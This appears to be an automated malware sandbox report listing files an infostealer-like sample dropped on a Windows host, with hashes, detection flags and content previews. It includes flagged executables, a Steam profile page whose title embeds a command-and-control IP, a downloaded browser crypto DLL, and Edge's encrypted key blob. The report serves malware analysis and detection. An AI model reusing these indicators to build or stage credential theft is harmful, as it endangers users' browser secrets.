Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5e5aa65f-29e9-4eb3-bd4a-91c3483143a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8094
Entropy (8bit):	5.800955417409617
Encrypted:	false
SSDEEP:	192:asNA4leiRUxJQIkepn6qRAq1k8SPxVLZ7VTiq:asNAUAWTex6q3QxVNZTiq
MD5:	DB26DCDCC16B514D8D8564DF4BF68E78
SHA1:	C881DCE0B0FD0C81D172C3490E39BC8F34E71F49
SHA-256:	378AAFD6DF5FFB8F96784079DB5A041C1AF657EFBC76F1D686EFE1205AB9420F
SHA-512:	F0A314FC825D449B2514BBC5B22EC899F04ADC2543CDA0A1963C3570B45ABA40AA3CD34B94524598C3966218FA68EA8EFFB89021DD44764FBB1E92F24F87CBF0
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-665044E6-1FB8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.039325611950039
Encrypted:	false
SSDEEP:	192:fhU/01utmqvDqKXaJsZTkmtzH6DL8gwXSRMTnhIRNElIc3RQcsXsrkWVn8y08Tcp:pk0EtOppQhQGhKsrkK08T2RGOD
MD5:	5823A09769079C106A9BD0BA70D27431
SHA1:	DC1DFD45AE57DE0B73027790AECE3C985A9C5856
SHA-256:	2E48C1CBD5AA4B991B3EEA14FFEBD7483F3F3EE62F3FAF8D06ABC2D8905A83D0
SHA-512:	A941B0607B0D677AB6ACC5FB8E002796FCA1809FD8521CA546AF1E5CE93A4E7C543E58294B4A612998102D8E96781E35833151B4439C09B16DCF8FEF9DC83211
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@...............p`..(P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vsrphp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U;.k..>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	1.7848956527006603
Encrypted:	false
SSDEEP:	3:FiWWltl/9U1i2RRIxINXj1C:o1/R2Yq2
MD5:	C48FB0C839F52094E5B7ED752859BB4F
SHA1:	D7863FA68E45C3432E10236A977708A44E300FAB
SHA-256:	EFFCFFAA8C3AE23BC6BBBF20BEFC538BCE1C6641096837F63E94124D5794FB1B
SHA-512:	16AB8BA83EF97293FA75C34EC1C40CB53408159B201A57B2FA2185EE66B21F9708CFA289B9CF3413253BAB4AE7E9700C3469CDCBA03672992077BA8BB22EF641
Malicious:	false
Reputation:	unknown
Preview:	sdPC......................5.y&.K.?....................................................................................................................................................................................................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791739960764905
Encrypted:	false
SSDEEP:	96:iaqkHfwLP5ih/cI9URLl8RotoVMFVvlwhLe4IbONIeTC6XQS0qGqk+Z4uj+rjEYL:ak4EeiRUuhN6qRAq1k8SPxVLZ7VTiq
MD5:	6AA819248C01099F820C10DCEC0B63E7
SHA1:	A0B4917B77C11173EDF6FFE1C00CC199A3A08C47
SHA-256:	6A3C873DC24089FC1C089242F7DEFEDE8F374A03ABDB40AEDCCC232C373494EC
SHA-512:	97D8650676F64E83EBE28A9713266C3E26F2C8C7FA88E2479FECB90CC847C39844C9FA525F62D17DB5C1CD2759E96D708348221A4EC99271FED85AB0C83C0ADF
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAATIflyddj0RbRFy9Z5iYhjEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADObUQv6i11gF3lFMjjLPPkP53l266cIcmMtzk3Bjcb1gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF314b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791739960764905
Encrypted:	false
SSDEEP:	96:iaqkHfwLP5ih/cI9URLl8RotoVMFVvlwhLe4IbONIeTC6XQS0qGqk+Z4uj+rjEYL:ak4EeiRUuhN6qRAq1k8SPxVLZ7VTiq
MD5:	6AA819248C01099F820C10DCEC0B63E7
SHA1:	A0B4917B77C11173EDF6FFE1C00CC199A3A08C47
SHA-256:	6A3C873DC24089FC1C089242F7DEFEDE8F374A03ABDB40AEDCCC232C373494EC
SHA-512:	97D8650676F64E83EBE28A9713266C3E26F2C8C7FA88E2479FECB90CC847C39844C9FA525F62D17DB5C1CD2759E96D708348221A4EC99271FED85AB0C83C0ADF
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAATIflyddj0RbRFy9Z5iYhjEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADObUQv6i11gF3lFMjjLPPkP53l266cIcmMtzk3Bjcb1gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF314c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791739960764905
Encrypted:	false
SSDEEP:	96:iaqkHfwLP5ih/cI9URLl8RotoVMFVvlwhLe4IbONIeTC6XQS0qGqk+Z4uj+rjEYL:ak4EeiRUuhN6qRAq1k8SPxVLZ7VTiq
MD5:	6AA819248C01099F820C10DCEC0B63E7
SHA1:	A0B4917B77C11173EDF6FFE1C00CC199A3A08C47
SHA-256:	6A3C873DC24089FC1C089242F7DEFEDE8F374A03ABDB40AEDCCC232C373494EC
SHA-512:	97D8650676F64E83EBE28A9713266C3E26F2C8C7FA88E2479FECB90CC847C39844C9FA525F62D17DB5C1CD2759E96D708348221A4EC99271FED85AB0C83C0ADF
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAATIflyddj0RbRFy9Z5iYhjEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADObUQv6i11gF3lFMjjLPPkP53l266cIcmMtzk3Bjcb1gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Reputation:	unknown
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	8.81240594570408E-4
Encrypted:	false
SSDEEP:	3:LsNlaE+l:Ls3p+l
MD5:	140A0A247815EC5A8A2312874C293B32
SHA1:	7DDC798F7028DBFD034B67830737A0DBD9AA296B
SHA-256:	87173F6A6D3C40D7E8E8211CCDF89F317C70B2CE4F18BC8E3D9EEE71A3C24944
SHA-512:	F4BB485415FFBB376FF8BC79DABF55CF455CCC7FDBD344FEA78A842412BEA6D98CA9C31DDA2C1A275EA3E8C35364B21DF3464C78601AEBA1CD75DD19171E6635
Malicious:	false
Reputation:	unknown
Preview:	.........................................U...w/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQd:YQ3Kq9X0dMgAEiLIj
MD5:	58643FBEC9B59CB5CFAFD86ADA8010EE
SHA1:	01DC3E760EFF353520A87DD146250058B8813B10
SHA-256:	EBB1BDF303D088395DDB9BC9B292CA48748F2369880F52237C63D7DFD060AC8A
SHA-512:	A776C5B481E0C3899A73ADD8CE28E034D461C8C9A746B4C2E0324268D4043A8FB9A541C1005E67BA18593F8B31CF266D2D026D8B490B835C39B8851E20CA5B6C
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":14}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\be4e0298-86fb-4b59-b495-7ee2e21a3292.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791739960764905
Encrypted:	false
SSDEEP:	96:iaqkHfwLP5ih/cI9URLl8RotoVMFVvlwhLe4IbONIeTC6XQS0qGqk+Z4uj+rjEYL:ak4EeiRUuhN6qRAq1k8SPxVLZ7VTiq
MD5:	6AA819248C01099F820C10DCEC0B63E7
SHA1:	A0B4917B77C11173EDF6FFE1C00CC199A3A08C47
SHA-256:	6A3C873DC24089FC1C089242F7DEFEDE8F374A03ABDB40AEDCCC232C373494EC
SHA-512:	97D8650676F64E83EBE28A9713266C3E26F2C8C7FA88E2479FECB90CC847C39844C9FA525F62D17DB5C1CD2759E96D708348221A4EC99271FED85AB0C83C0ADF
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAATIflyddj0RbRFy9Z5iYhjEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADObUQv6i11gF3lFMjjLPPkP53l266cIcmMtzk3Bjcb1gAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199689717899[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3063), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35682
Entropy (8bit):	5.380958411512878
Encrypted:	false
SSDEEP:	768:j7pqLtWYmwt5D0gqOciNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2SA:j78LtWYmwt5D0gqOcc7PzzgiJmDzJtxs
MD5:	FDC011B33B43891F1FA8B6A25A3E935F
SHA1:	45C4E73AF31D5D847EEC03CFE172799318123C2C
SHA-256:	E5DEAECD2A4C1C3F1D6B4DFD3ACB49D3DF753E1E31CC3BF7B6B925CC20FC070F
SHA-512:	8A7A4655EAA89503DD35237A0C257B5AFCD3E4E6251CBB1DD78C2CA5FD50E84F69C40CAFFC0431207E72337DA9972E20F24A604149547CB2A189EE05245E1D8D
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://78.47.123.174\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199689717899[2].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3063), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35682
Entropy (8bit):	5.381580602256906
Encrypted:	false
SSDEEP:	768:j7pqLtWYmwt5D0gqOciNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2Sw:j78LtWYmwt5D0gqOcc7PzzgiJmDzJtxE
MD5:	58B18060E3AB1237F440827FAAD597F9
SHA1:	5A21ACD0F28FD66B9CBAB664133D6B0D05DF10C1
SHA-256:	A3179A712DF9B9906BCE811BB425B2E48A21789903212256CE3151B880D1B334
SHA-512:	671EB31FCA2395BE9538488C2F1D8797B124A3D82116D2C97F38A9DA5296BB0F643C0DD94C18429225906F3F264C0A123FB2F20228A54F511BCD3242BD875D0B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://78.47.123.174\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Default12_v2[1].exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3134976
Entropy (8bit):	7.9639382810091615
Encrypted:	false
SSDEEP:	49152:TkSSEjtKhmW9bkolQcTF9dbrYszEEUJcbl9YF7FqpSoEGUwXjLRd2xcSG:Ndj0kWNTFjvLL4RLoEajLLWcS
MD5:	6BC7F3C7927F5FC13A4410F1770C2DFE
SHA1:	4FD9306A40681E1F881168644F991C30824B02CC
SHA-256:	C6EC11A31D4C28480F4EE3CC744792E12D7919CFFFFF5B7CA86649C904B7ABDA
SHA-512:	15A8E425FC9838AF7B4084343DA464CA00A89FBBED4F70EB13D6E7D5F1970F646748E12FE0C2E12FB89165AF57338C9625178282B277C3C5CE9773876BC65A3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............a5...........@.......................... p.......0...@..................................?3.,.....Z..&....................Z.\...........................xp-.....P.Z.@............0+......A8.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp.............................. ..`.vmp.......0+.....................@....vmp... ./..@+.../................. ..`.reloc..\.....Z......./.............@..@.rsrc....&....Z.. ..../.............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\aaaaaaaa[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1920333
Entropy (8bit):	7.3640516106445455
Encrypted:	false
SSDEEP:	49152:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoavGtHJBpCbqag/8PTUCS:wBDC7VpNYhu2PhTXh78aq8bg
MD5:	DC2EF0C3082C4738DE40F34A167B7AA5
SHA1:	6755F0E6E7C6915EA763D7B9E3696CDFB1B43149
SHA-256:	1AFF5FF00920451B5D74FC202C17EC94E8C890732A6EE6984B35183099161FF8
SHA-512:	D8E607596FF4BC6F357FBA8BA3B74BF8E1CE7BF146657E66ABEFCEA9D79D936BFE4E7707A627C196EBBF0E1F2C63042ED406DC50D048C880723160B1007CDB77
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. ....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
